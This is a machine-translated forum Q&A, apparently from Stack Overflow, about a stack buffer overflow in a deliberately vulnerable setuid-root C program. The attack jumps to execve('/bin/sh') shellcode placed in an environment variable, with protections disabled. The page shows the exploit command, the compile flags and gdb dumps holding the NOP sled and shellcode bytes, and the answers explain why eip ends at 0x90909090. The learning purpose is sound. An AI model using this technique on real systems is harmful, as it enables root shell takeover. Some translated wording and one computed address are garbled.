使用缓冲区溢出执行存储在环境variables中的shellcode

我正在使用下面的代码来尝试通过溢出searchstringvariables来执行存储在环境variables中的一些shellcode,以便main的返回地址包含anvironmentvariables的地址。 但是,在printf命令之前,出现了分段错误。

#include <stdio.h> #include <string.h> void main(int argc, char *argv[]){ char searchstring[100]; if(argc > 1) strcpy(searchstring, argv[1]); else // otherwise searchstring[0] = 0; printf("Here"); } 

我使用编译代码

 gcc -m32 -g -o overflow.o overflow.c -fno-stack-protector -z execstack 

以禁用堆栈保护程序并使堆栈可执行。 我还通过修改/ proc / sys / kernel / randomize_va_space来禁用ASLR以包含0.我还将所有者和组更改为root:

 sudo chown root:root overflow.o sudo chmod u+s overflow.o 

环境variables在shellcode之前包含一个NOP底座,我确定地址0xffffd910位于NOP底座的中间。 所以我运行程序使用

 ./overflow.o $(perl -e 'print "\x10\xd9\xff\xff"x40') 

但看到分段错误。

使用gdb我在main上设置了一个断点,然后逐步完成指令。 seg错误发生在printf命令到达之前,并且在我看到seg错误之后立即检查堆栈指针和指令指针

 (gdb) x/32x $esp 0xffffd910: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd920: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd930: 0x90909090 0x90909090 0xdb31c031 0xb099c931 0xffffd940: 0x6a80cda4 0x6851580b 0x68732f2f 0x69622f68 0xffffd950: 0x51e3896e 0x8953e289 0x0080cde1 0x4d524554 0xffffd960: 0x6574783d 0x53006d72 0x4c4c4548 0x69622f3d 0xffffd970: 0x61622f6e 0x58006873 0x4d5f4d44 0x47414e41 0xffffd980: 0x6d3d4445 0x6f687465 0x6c633d64 0x69737361 (gdb) x/x $eip 0x90909090: Cannot access memory at address 0x90909090 

检查main(之前find的地址为0xffffd460)的堆栈帧确认地址0xffffd910确实已被复制到searchstring中:

 (gdb) x/32x 0xffffd460 0xffffd460: 0xffffd49f 0xffffd49e 0xffffd590 0xffffd910 0xffffd470: 0xffffd910 0xffffd910 0xffffd910 0xffffd910 0xffffd480: 0xffffd910 0xffffd910 0xffffd910 0xffffd910 0xffffd490: 0xffffd910 0xffffd910 0xffffd910 0xffffd910 0xffffd4a0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910 0xffffd4b0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910 0xffffd4c0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910 0xffffd4d0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910 

我不明白为什么即使main没有完成执行,堆栈指针和指令指针也会跳转到这些位置? 另外,为什么指令指针跳到0x90909090而不是0xffffd910? 这是导致分段故障,还是我不知道的一些堆栈保护?

我意识到这是一个人为的例子,但我只是有兴趣知道发生了什么事情。

谢谢!

Solutions Collecting From Web of "使用缓冲区溢出执行存储在环境variables中的shellcode"

在看作是汇编代码后,我已经知道发生了什么事情。 代码的最后3行是

 0x08048485 <+59>: mov ecx,DWORD PTR [ebp-0x4] 0x08048488 <+62>: leave 0x08048489 <+63>: lea esp,[ecx-0x4] 0x0804848c <+66>: ret 

溢出searchstring变量会导致ebp-0x4处的数据被环境变量(0xffffd910)中的NOP底座中途的地址覆盖。 因此,上面的第1行保留在ecx中的0xffffd910。

这意味着在上面的第3行中,ecx-0x4 = 0xffffd910 – 0x4 = 0xffff90c,这个地址存储在esp中。 存储在这个地址的数据是0x90909090(因为我们仍然在NOP底座的中途)。 最后,在上面的最后一行中,这个数据被作为main()的返回地址从堆栈中弹出,这就是为什么我们以eip = 0x90909090结束,popping操作意味着esp被移回到0xffff90c + 0x4 = 0xffffd910。

一直以来我的错误是假定main()函数的行为像返回地址一样。 C没有“返回地址”的概念 – 这些是实现细节 – 在我的Arch Linux机器上使用gcc-multilib 4.9.2-1,这是如何实现的。

很奇怪,esp指向你的shellcode。 打印“\ x10 \ xd9 \ xff \ xff”是环境变量的地址吗?

它会导致段错误,因为当执行RET时,会执行POP%eip,但是%esp指向0x90909090,但是当然不能访问这个地址。